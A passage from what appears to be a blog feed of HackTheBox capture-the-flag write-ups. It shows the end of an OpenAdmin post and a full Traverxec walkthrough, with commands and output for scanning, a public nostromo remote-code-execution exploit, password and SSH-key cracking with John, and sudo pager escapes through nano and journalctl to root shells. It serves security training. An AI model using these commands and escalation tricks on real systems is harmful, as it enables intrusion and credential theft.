class=\"o\">=<\/span>\/usr\/local\/sbin<span class=\"se\">\\:<\/span>\/usr\/local\/bin<span class=\"se\">\\:<\/span>\/usr\/sbin<span class=\"se\">\\:<\/span>\/usr\/bin<span class=\"se\">\\:<\/span>\/sbin<span class=\"se\">\\:<\/span>\/bin<span class=\"se\">\\:<\/span>\/snap\/bin\n\nUser<span class=\"w\"> <\/span>joanna<span class=\"w\"> <\/span>may<span class=\"w\"> <\/span>run<span class=\"w\"> <\/span>the<span class=\"w\"> <\/span>following<span class=\"w\"> <\/span>commands<span class=\"w\"> <\/span>on<span class=\"w\"> <\/span>openadmin:\n<span class=\"w\">    <\/span><span class=\"o\">(<\/span>ALL<span class=\"o\">)<\/span><span class=\"w\"> <\/span>NOPASSWD:<span class=\"w\"> <\/span>\/bin\/nano<span class=\"w\"> <\/span>\/opt\/priv\n<\/code><\/pre><\/div>\n\n<p>With nano in the sudo permissions, we can efficiently perform a privilege escalation through it:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>sudo<span class=\"w\"> <\/span>\/bin\/nano<span class=\"w\"> <\/span>\/opt\/priv\n^R^X\nreset<span class=\"p\">;<\/span><span class=\"w\"> <\/span>bash<span class=\"w\"> <\/span><span class=\"m\">1<\/span>&gt;<span class=\"p\">&amp;<\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;<span class=\"p\">&amp;<\/span><span class=\"m\">0<\/span>\n<\/code><\/pre><\/div>\n\n<p>We are now dropped into a root shell, securing the last flag. What a rollercoaster!<\/p>","category":{"@attributes":{"term":"Challenges"}}},{"title":"HackTheBox Traverxec","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2020\/01\/04\/hackthebox-traverxec.html","rel":"alternate"}},"published":"2020-01-04T00:00:00+01:00","updated":"2020-01-04T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2020-01-04:\/2020\/01\/04\/hackthebox-traverxec.html","summary":"<p>Traverxec is an interesting box, mainly because the HackTheBox team rated it as easy while the community disagreed and voted it to medium difficulty. It involved a funky privilege escalation that I had not seen before. Let's see how it's done! Our first nmap scan does not return exciting results \u2026<\/p>","content":"<p>Traverxec is an interesting box, mainly because the HackTheBox team rated it as easy while the community disagreed and voted it to medium difficulty. It involved a funky privilege escalation that I had not seen before. Let's see how it's done! Our first nmap scan does not return exciting results:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>nmap<span class=\"w\"> <\/span>-sS<span class=\"w\"> <\/span>-sC<span class=\"w\"> <\/span>-oN<span class=\"w\"> <\/span>traverxec.nmap<span class=\"w\"> <\/span>-v<span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.165\n<span class=\"c1\"># Nmap 7.80 scan initiated Mon Dec  9 13:49:03 2019 as: nmap -sS -sC -oN traverxec.nmap -v 10.10.10.165<\/span>\nNmap<span class=\"w\"> <\/span>scan<span class=\"w\"> <\/span>report<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.165\nHost<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>up<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">0<\/span>.11s<span class=\"w\"> <\/span>latency<span class=\"o\">)<\/span>.\nNot<span class=\"w\"> <\/span>shown:<span class=\"w\"> <\/span><span class=\"m\">998<\/span><span class=\"w\"> <\/span>filtered<span class=\"w\"> <\/span>ports\nPORT<span class=\"w\">   <\/span>STATE<span class=\"w\"> <\/span>SERVICE\n<span class=\"m\">22<\/span>\/tcp<span class=\"w\"> <\/span>open<span class=\"w\">  <\/span>ssh\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>ssh-hostkey:\n<span class=\"p\">|<\/span><span class=\"w\">   <\/span><span class=\"m\">2048<\/span><span class=\"w\"> <\/span>aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c<span class=\"w\"> <\/span><span class=\"o\">(<\/span>RSA<span class=\"o\">)<\/span>\n<span class=\"p\">|<\/span><span class=\"w\">   <\/span><span class=\"m\">256<\/span><span class=\"w\"> <\/span><span class=\"m\">93<\/span>:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ECDSA<span class=\"o\">)<\/span>\n<span class=\"p\">|<\/span>_<span class=\"w\">  <\/span><span class=\"m\">256<\/span><span class=\"w\"> <\/span>9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ED25519<span class=\"o\">)<\/span>\n<span class=\"m\">80<\/span>\/tcp<span class=\"w\"> <\/span>open<span class=\"w\">  <\/span>http\n<span class=\"p\">|<\/span>_http-favicon:<span class=\"w\"> <\/span>Unknown<span class=\"w\"> <\/span>favicon<span class=\"w\"> <\/span>MD5:<span class=\"w\"> <\/span>FED84E16B6CCFE88EE7FFAAE5DFEFD34\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>http-methods:\n<span class=\"p\">|<\/span>_<span class=\"w\">  <\/span>Supported<span class=\"w\"> <\/span>Methods:<span class=\"w\"> <\/span>GET<span class=\"w\"> <\/span>HEAD<span class=\"w\"> <\/span>POST\n<span class=\"p\">|<\/span>_http-title:<span class=\"w\"> <\/span>TRAVERXEC\n\nRead<span class=\"w\"> <\/span>data<span class=\"w\"> <\/span>files<span class=\"w\"> <\/span>from:<span class=\"w\"> <\/span>\/usr\/bin\/..\/share\/nmap\n<span class=\"c1\"># Nmap done at Mon Dec  9 13:49:30 2019 -- 1 IP address (1 host up) scanned in 26.97 seconds<\/span>\n<\/code><\/pre><\/div>\n\n<p>On port 80, we see a portfolio website. Nothing exciting seems to be hidden here. We have some static images, a Javascript gallery, a bootstrap template, and a bit of glue in between. The contact form initially seemed interesting, but on closer inspection, we simply perform a GET request to an empty file:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"p\">&lt;<\/span><span class=\"nt\">form<\/span> <span class=\"na\">class<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;contact-form php-mail-form&quot;<\/span> <span class=\"na\">role<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;form&quot;<\/span> <span class=\"na\">action<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;empty.html&quot;<\/span> <span class=\"na\">method<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;GET&quot;<\/span><span class=\"p\">&gt;<\/span>\n<\/code><\/pre><\/div>\n\n<p>There are also no <code>robots.txt<\/code> or <code>.htaccess<\/code> files. However, performing some requests to the server and inspecting the response headers, we can see that the server version leaks: <code>nostromo 1.9.6<\/code>. Looking for exploits, we find a remote code execution vulnerability: https:\/\/www.exploit-db.com\/exploits\/47837. Using the attached proof-of-concept code (like the script kiddies we are), we can explore our privileges:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># .\/rce.py 10.10.10.165 80 whoami<\/span>\n\nHTTP\/1.1<span class=\"w\"> <\/span><span class=\"m\">200<\/span><span class=\"w\"> <\/span>OK\nDate:<span class=\"w\"> <\/span>Sat,<span class=\"w\"> <\/span><span class=\"m\">04<\/span><span class=\"w\"> <\/span>Jan<span class=\"w\"> <\/span><span class=\"m\">2020<\/span><span class=\"w\"> <\/span><span class=\"m\">12<\/span>:06:43<span class=\"w\"> <\/span>GMT\nServer:<span class=\"w\"> <\/span>nostromo<span class=\"w\"> <\/span><span class=\"m\">1<\/span>.9.6\nConnection:<span class=\"w\"> <\/span>close\n\nwww-data\n<\/code><\/pre><\/div>\n\n<p>Reading up on Nostromo as a server, we discover the configuration directory and can extract an htpasswd file:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># .\/rce.py 10.10.10.165 80 &#39;ls \/var\/nostromo\/conf\/&#39;<\/span>\n\n<span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"o\">.<\/span><span class=\"n\">htpasswd<\/span><span class=\"w\"> <\/span><span class=\"n\">file<\/span><span class=\"w\"> <\/span><span class=\"n\">found<\/span><span class=\"w\"> <\/span><span class=\"o\">\/<\/span><span class=\"k\">var<\/span><span class=\"o\">\/<\/span><span class=\"n\">nostromo<\/span><span class=\"o\">\/<\/span><span class=\"n\">conf<\/span><span class=\"o\">\/.<\/span><span class=\"n\">htpasswd<\/span><span class=\"w\"> <\/span><span class=\"n\">david<\/span><span class=\"p\">:<\/span><span class=\"o\">$<\/span><span class=\"mi\">1<\/span><span class=\"o\">$<\/span><span class=\"n\">e7NfNpNi<\/span><span class=\"o\">$<\/span><span class=\"n\">A6nCwOTqrNR2oDuIKirRZ<\/span><span class=\"o\">\/<\/span>\n<\/code><\/pre><\/div>\n\n<p>Naturally, we crack it with JohnTheRipper and obtain the password for the user <code>david<\/code>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># john --wordlist=\/usr\/share\/wordlists\/rockyou.txt htpasswd-david.hash<\/span>\nWarning:<span class=\"w\"> <\/span>detected<span class=\"w\"> <\/span><span class=\"nb\">hash<\/span><span class=\"w\"> <\/span><span class=\"nb\">type<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;md5crypt&quot;<\/span>,<span class=\"w\"> <\/span>but<span class=\"w\"> <\/span>the<span class=\"w\"> <\/span>string<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>also<span class=\"w\"> <\/span>recognized<span class=\"w\"> <\/span>as<span class=\"w\"> <\/span><span class=\"s2\">&quot;md5crypt-long&quot;<\/span>\nUse<span class=\"w\"> <\/span>the<span class=\"w\"> <\/span><span class=\"s2\">&quot;--format=md5crypt-long&quot;<\/span><span class=\"w\"> <\/span>option<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>force<span class=\"w\"> <\/span>loading<span class=\"w\"> <\/span>these<span class=\"w\"> <\/span>as<span class=\"w\"> <\/span>that<span class=\"w\"> <\/span><span class=\"nb\">type<\/span><span class=\"w\"> <\/span>instead\nUsing<span class=\"w\"> <\/span>default<span class=\"w\"> <\/span>input<span class=\"w\"> <\/span>encoding:<span class=\"w\"> <\/span>UTF-8\nLoaded<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>password<span class=\"w\"> <\/span><span class=\"nb\">hash<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>md5crypt,<span class=\"w\"> <\/span>crypt<span class=\"o\">(<\/span><span class=\"m\">3<\/span><span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"nv\">$1<\/span>$<span class=\"w\"> <\/span><span class=\"o\">(<\/span>and<span class=\"w\"> <\/span>variants<span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span>MD5<span class=\"w\"> <\/span><span class=\"m\">256<\/span>\/256<span class=\"w\"> <\/span>AVX2<span class=\"w\"> <\/span>8x3<span class=\"o\">])<\/span>\nWill<span class=\"w\"> <\/span>run<span class=\"w\"> <\/span><span class=\"m\">4<\/span><span class=\"w\"> <\/span>OpenMP<span class=\"w\"> <\/span>threads\nPress<span class=\"w\"> <\/span><span class=\"s1\">&#39;q&#39;<\/span><span class=\"w\"> <\/span>or<span class=\"w\"> <\/span>Ctrl-C<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>abort,<span class=\"w\"> <\/span>almost<span class=\"w\"> <\/span>any<span class=\"w\"> <\/span>other<span class=\"w\"> <\/span>key<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>status\nNowonly4me<span class=\"w\">       <\/span><span class=\"o\">(<\/span>?<span class=\"o\">)<\/span>\n1g<span class=\"w\"> <\/span><span class=\"m\">0<\/span>:00:01:34<span class=\"w\"> <\/span>DONE<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">2020<\/span>-01-04<span class=\"w\"> <\/span><span class=\"m\">13<\/span>:12<span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"m\">0<\/span>.01063g\/s<span class=\"w\"> <\/span>112524p\/s<span class=\"w\"> <\/span>112524c\/s<span class=\"w\"> <\/span>112524C\/s<span class=\"w\"> <\/span>Noyoudo..Nous4<span class=\"o\">=<\/span><span class=\"m\">5<\/span>\nUse<span class=\"w\"> <\/span>the<span class=\"w\"> <\/span><span class=\"s2\">&quot;--show&quot;<\/span><span class=\"w\"> <\/span>option<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>display<span class=\"w\"> <\/span>all<span class=\"w\"> <\/span>of<span class=\"w\"> <\/span>the<span class=\"w\"> <\/span>cracked<span class=\"w\"> <\/span>passwords<span class=\"w\"> <\/span>reliably\nSession<span class=\"w\"> <\/span>completed\n<\/code><\/pre><\/div>\n\n<p>Another interesting finding when browsing the file system is a cron job apparently backing up sensitive credential files:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># cat \/etc\/cron.daily\/passwd<\/span>\n<span class=\"c1\">#!\/bin\/sh<\/span>\n\n<span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>\/var\/backups<span class=\"w\"> <\/span><span class=\"o\">||<\/span><span class=\"w\"> <\/span><span class=\"nb\">exit<\/span><span class=\"w\"> <\/span><span class=\"m\">0<\/span>\n\n<span class=\"k\">for<\/span><span class=\"w\"> <\/span>FILE<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>passwd<span class=\"w\"> <\/span>group<span class=\"w\"> <\/span>shadow<span class=\"w\"> <\/span>gshadow<span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">do<\/span>\n<span class=\"w\">        <\/span><span class=\"nb\">test<\/span><span class=\"w\"> <\/span>-f<span class=\"w\"> <\/span>\/etc\/<span class=\"nv\">$FILE<\/span><span class=\"w\">              <\/span><span class=\"o\">||<\/span><span class=\"w\"> <\/span><span class=\"k\">continue<\/span>\n<span class=\"w\">        <\/span>cmp<span class=\"w\"> <\/span>-s<span class=\"w\"> <\/span><span class=\"nv\">$FILE<\/span>.bak<span class=\"w\"> <\/span>\/etc\/<span class=\"nv\">$FILE<\/span><span class=\"w\">     <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"k\">continue<\/span>\n<span class=\"w\">        <\/span>cp<span class=\"w\"> <\/span>-p<span class=\"w\"> <\/span>\/etc\/<span class=\"nv\">$FILE<\/span><span class=\"w\"> <\/span><span class=\"nv\">$FILE<\/span>.bak<span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span>chmod<span class=\"w\"> <\/span><span class=\"m\">600<\/span><span class=\"w\"> <\/span><span class=\"nv\">$FILE<\/span>.bak\n<span class=\"k\">done<\/span>\n<\/code><\/pre><\/div>\n\n<p>The files are visible in the backup location, but we don't have read permissions on the juicy files:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>ls<span class=\"w\"> <\/span>-al<span class=\"w\"> <\/span>\/var\/backups\ntotal<span class=\"w\"> <\/span><span class=\"m\">484<\/span>\ndrwxr-xr-x<span class=\"w\">  <\/span><span class=\"m\">2<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>root<span class=\"w\">     <\/span><span class=\"m\">4096<\/span><span class=\"w\"> <\/span>Jan<span class=\"w\">  <\/span><span class=\"m\">4<\/span><span class=\"w\"> <\/span><span class=\"m\">06<\/span>:25<span class=\"w\"> <\/span>.\ndrwxr-xr-x<span class=\"w\"> <\/span><span class=\"m\">12<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>root<span class=\"w\">     <\/span><span class=\"m\">4096<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">25<\/span><span class=\"w\"> <\/span><span class=\"m\">14<\/span>:43<span class=\"w\"> <\/span>..\n-rw-r--r--<span class=\"w\">  <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>root<span class=\"w\">    <\/span><span class=\"m\">40960<\/span><span class=\"w\"> <\/span>Nov<span class=\"w\"> <\/span><span class=\"m\">12<\/span><span class=\"w\"> <\/span><span class=\"m\">06<\/span>:25<span class=\"w\"> <\/span>alternatives.tar.0\n-rw-r--r--<span class=\"w\">  <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>root<span class=\"w\">     <\/span><span class=\"m\">7665<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">25<\/span><span class=\"w\"> <\/span><span class=\"m\">15<\/span>:30<span class=\"w\"> <\/span>apt.extended_states.0\n-rw-r--r--<span class=\"w\">  <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>root<span class=\"w\">      <\/span><span class=\"m\">186<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">25<\/span><span class=\"w\"> <\/span><span class=\"m\">14<\/span>:34<span class=\"w\"> <\/span>dpkg.diversions.0\n-rw-r--r--<span class=\"w\">  <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>root<span class=\"w\">      <\/span><span class=\"m\">126<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">25<\/span><span class=\"w\"> <\/span><span class=\"m\">14<\/span>:34<span class=\"w\"> <\/span>dpkg.diversions.1.gz\n-rw-r--r--<span class=\"w\">  <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>root<span class=\"w\">      <\/span><span class=\"m\">100<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">25<\/span><span class=\"w\"> <\/span><span class=\"m\">14<\/span>:20<span class=\"w\"> <\/span>dpkg.statoverride.0\n-rw-r--r--<span class=\"w\">  <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>root<span class=\"w\">      <\/span><span class=\"m\">120<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">25<\/span><span class=\"w\"> <\/span><span class=\"m\">14<\/span>:20<span class=\"w\"> <\/span>dpkg.statoverride.1.gz\n-rw-r--r--<span class=\"w\">  <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>root<span class=\"w\">   <\/span><span class=\"m\">314222<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">25<\/span><span class=\"w\"> <\/span><span class=\"m\">15<\/span>:30<span class=\"w\"> <\/span>dpkg.status.0\n-rw-r--r--<span class=\"w\">  <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>root<span class=\"w\">    <\/span><span class=\"m\">87664<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">25<\/span><span class=\"w\"> <\/span><span class=\"m\">15<\/span>:30<span class=\"w\"> <\/span>dpkg.status.1.gz\n-rw-------<span class=\"w\">  <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>root<span class=\"w\">      <\/span><span class=\"m\">708<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">25<\/span><span class=\"w\"> <\/span><span class=\"m\">14<\/span>:34<span class=\"w\"> <\/span>group.bak\n-rw-------<span class=\"w\">  <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>shadow<span class=\"w\">    <\/span><span class=\"m\">597<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">25<\/span><span class=\"w\"> <\/span><span class=\"m\">14<\/span>:34<span class=\"w\"> <\/span>gshadow.bak\n-rw-------<span class=\"w\">  <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>root<span class=\"w\">     <\/span><span class=\"m\">1395<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">25<\/span><span class=\"w\"> <\/span><span class=\"m\">14<\/span>:34<span class=\"w\"> <\/span>passwd.bak\n-rw-------<span class=\"w\">  <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>shadow<span class=\"w\">    <\/span><span class=\"m\">940<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">27<\/span><span class=\"w\"> <\/span><span class=\"m\">04<\/span>:56<span class=\"w\"> <\/span>shadow.bak\n<\/code><\/pre><\/div>\n\n<p>Tracing back to Nostromo from this slight tangent, we can see that the server has a <a href=\"https:\/\/www.gsp.com\/cgi-bin\/man.cgi?section=8&amp;topic=nhttpd\">home directory feature<\/a>, meaning that we may be able to leak <code>david<\/code>'s home contents:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># cat conf\/nhttpd.conf<\/span>\n<span class=\"c1\"># MAIN [MANDATORY]<\/span>\n\nservername<span class=\"w\">              <\/span>traverxec.htb\nserverlisten<span class=\"w\">            <\/span>*\nserveradmin<span class=\"w\">             <\/span>david@traverxec.htb\nserverroot<span class=\"w\">              <\/span>\/var\/nostromo\nservermimes<span class=\"w\">             <\/span>conf\/mimes\ndocroot<span class=\"w\">                 <\/span>\/var\/nostromo\/htdocs\ndocindex<span class=\"w\">                <\/span>index.html\n\n<span class=\"c1\"># LOGS [OPTIONAL]<\/span>\n\nlogpid<span class=\"w\">                  <\/span>logs\/nhttpd.pid\n\n<span class=\"c1\"># SETUID [RECOMMENDED]<\/span>\n\nuser<span class=\"w\">                    <\/span>www-data\n\n<span class=\"c1\"># BASIC AUTHENTICATION [OPTIONAL]<\/span>\n\nhtaccess<span class=\"w\">                <\/span>.htaccess\nhtpasswd<span class=\"w\">                <\/span>\/var\/nostromo\/conf\/.htpasswd\n\n<span class=\"c1\"># ALIASES [OPTIONAL]<\/span>\n\n\/icons<span class=\"w\">                  <\/span>\/var\/nostromo\/icons\n\n<span class=\"c1\"># HOMEDIRS [OPTIONAL]<\/span>\n\nhomedirs<span class=\"w\">                <\/span>\/home\nhomedirs_public<span class=\"w\">         <\/span>public_www\n<\/code><\/pre><\/div>\n\n<p>And indeed, with the already cracked password, we can access David's protected area at <code>http:\/\/10.10.10.165\/~david\/protected-file-area\/<\/code>. In there, we find his backed up password-protected SSH keys, however. So we crack them with John again:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># \/usr\/share\/john\/ssh2john.py id_rsa &gt; id_rsa.john<\/span>\n<span class=\"c1\"># john --wordlist=\/usr\/share\/wordlists\/rockyou.txt id_rsa.john<\/span>\nUsing<span class=\"w\"> <\/span>default<span class=\"w\"> <\/span>input<span class=\"w\"> <\/span>encoding:<span class=\"w\"> <\/span>UTF-8\nLoaded<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>password<span class=\"w\"> <\/span><span class=\"nb\">hash<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>SSH<span class=\"w\"> <\/span><span class=\"o\">[<\/span>RSA\/DSA\/EC\/OPENSSH<span class=\"w\"> <\/span><span class=\"o\">(<\/span>SSH<span class=\"w\"> <\/span>private<span class=\"w\"> <\/span>keys<span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"m\">32<\/span>\/64<span class=\"o\">])<\/span>\nCost<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>KDF\/cipher<span class=\"w\"> <\/span><span class=\"o\">[<\/span><span class=\"nv\">0<\/span><span class=\"o\">=<\/span>MD5\/AES<span class=\"w\"> <\/span><span class=\"nv\">1<\/span><span class=\"o\">=<\/span>MD5\/3DES<span class=\"w\"> <\/span><span class=\"nv\">2<\/span><span class=\"o\">=<\/span>Bcrypt\/AES<span class=\"o\">])<\/span><span class=\"w\"> <\/span>is<span class=\"w\"> <\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>all<span class=\"w\"> <\/span>loaded<span class=\"w\"> <\/span>hashes\nCost<span class=\"w\"> <\/span><span class=\"m\">2<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>iteration<span class=\"w\"> <\/span>count<span class=\"o\">)<\/span><span class=\"w\"> <\/span>is<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>all<span class=\"w\"> <\/span>loaded<span class=\"w\"> <\/span>hashes\nWill<span class=\"w\"> <\/span>run<span class=\"w\"> <\/span><span class=\"m\">4<\/span><span class=\"w\"> <\/span>OpenMP<span class=\"w\"> <\/span>threads\nNote:<span class=\"w\"> <\/span>This<span class=\"w\"> <\/span>format<span class=\"w\"> <\/span>may<span class=\"w\"> <\/span>emit<span class=\"w\"> <\/span><span class=\"nb\">false<\/span><span class=\"w\"> <\/span>positives,<span class=\"w\"> <\/span>so<span class=\"w\"> <\/span>it<span class=\"w\"> <\/span>will<span class=\"w\"> <\/span>keep<span class=\"w\"> <\/span>trying<span class=\"w\"> <\/span>even<span class=\"w\"> <\/span>after\nfinding<span class=\"w\"> <\/span>a<span class=\"w\"> <\/span>possible<span class=\"w\"> <\/span>candidate.\nPress<span class=\"w\"> <\/span><span class=\"s1\">&#39;q&#39;<\/span><span class=\"w\"> <\/span>or<span class=\"w\"> <\/span>Ctrl-C<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>abort,<span class=\"w\"> <\/span>almost<span class=\"w\"> <\/span>any<span class=\"w\"> <\/span>other<span class=\"w\"> <\/span>key<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>status\nhunter<span class=\"w\">           <\/span><span class=\"o\">(<\/span>id_rsa<span class=\"o\">)<\/span>\n1g<span class=\"w\"> <\/span><span class=\"m\">0<\/span>:00:00:07<span class=\"w\"> <\/span><span class=\"m\">90<\/span>.25%<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ETA:<span class=\"w\"> <\/span><span class=\"m\">14<\/span>:57:31<span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"m\">0<\/span>.1420g\/s<span class=\"w\"> <\/span>1849Kp\/s<span class=\"w\"> <\/span>1849Kc\/s<span class=\"w\"> <\/span>1849KC\/s<span class=\"w\"> <\/span>1defaolur*..1deep4ife\nSession<span class=\"w\"> <\/span>aborted\n<\/code><\/pre><\/div>\n\n<p>With SSH access as <code>david<\/code>, we can secure the user flag in their home directory. Additionally, we also find a server\nmonitoring script in his home:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># cat bin\/server-stats.sh<\/span>\n<span class=\"c1\">#!\/bin\/bash<\/span>\n\n<span class=\"n\">cat<\/span><span class=\"w\"> <\/span><span class=\"o\">\/<\/span><span class=\"n\">home<\/span><span class=\"o\">\/<\/span><span class=\"n\">david<\/span><span class=\"o\">\/<\/span><span class=\"n\">bin<\/span><span class=\"o\">\/<\/span><span class=\"n\">server<\/span><span class=\"o\">-<\/span><span class=\"n\">stats<\/span><span class=\"o\">.<\/span><span class=\"n\">head<\/span>\n<span class=\"n\">echo<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;Load: `\/usr\/bin\/uptime`&quot;<\/span>\n<span class=\"n\">echo<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot; &quot;<\/span>\n<span class=\"n\">echo<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;Open nhttpd sockets: `\/usr\/bin\/ss -H sport = 80 | \/usr\/bin\/wc -l`&quot;<\/span>\n<span class=\"n\">echo<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;Files in the docroot: `\/usr\/bin\/find \/var\/nostromo\/htdocs\/ | \/usr\/bin\/wc -l`&quot;<\/span>\n<span class=\"n\">echo<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot; &quot;<\/span>\n<span class=\"n\">echo<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;Last 5 journal log lines:&quot;<\/span>\n<span class=\"o\">\/<\/span><span class=\"n\">usr<\/span><span class=\"o\">\/<\/span><span class=\"n\">bin<\/span><span class=\"o\">\/<\/span><span class=\"n\">sudo<\/span><span class=\"w\"> <\/span><span class=\"o\">\/<\/span><span class=\"n\">usr<\/span><span class=\"o\">\/<\/span><span class=\"n\">bin<\/span><span class=\"o\">\/<\/span><span class=\"n\">journalctl<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">n5<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">unostromo<\/span><span class=\"o\">.<\/span><span class=\"n\">service<\/span><span class=\"w\"> <\/span><span class=\"o\">|<\/span><span class=\"w\"> <\/span><span class=\"o\">\/<\/span><span class=\"n\">usr<\/span><span class=\"o\">\/<\/span><span class=\"n\">bin<\/span><span class=\"o\">\/<\/span><span class=\"n\">cat<\/span>\n<\/code><\/pre><\/div>\n\n<p>Note the last line, which performs a <code>sudo<\/code> call on <code>journalctl<\/code> to fetch the Nostromo logs. We can leverage a whitelisted <code>journalctl<\/code> for privilege escalation by leveraging sudo access to a pager application such as less. The command <code>sudo journalctl -n5 -unostromo.service<\/code> works, but it's bound to five lines of output. So we simply resize our terminal to a single line. This will guarantee us getting dropped into <code>less<\/code>. From there, we merely execute <code>!\/bin\/bash<\/code> in its command prompt, and we are dropped into a root shell, allowing us to gain access to the root flag.<\/p>","category":{"@attributes":{"term":"Challenges"}}},{"title":"HackTheBox 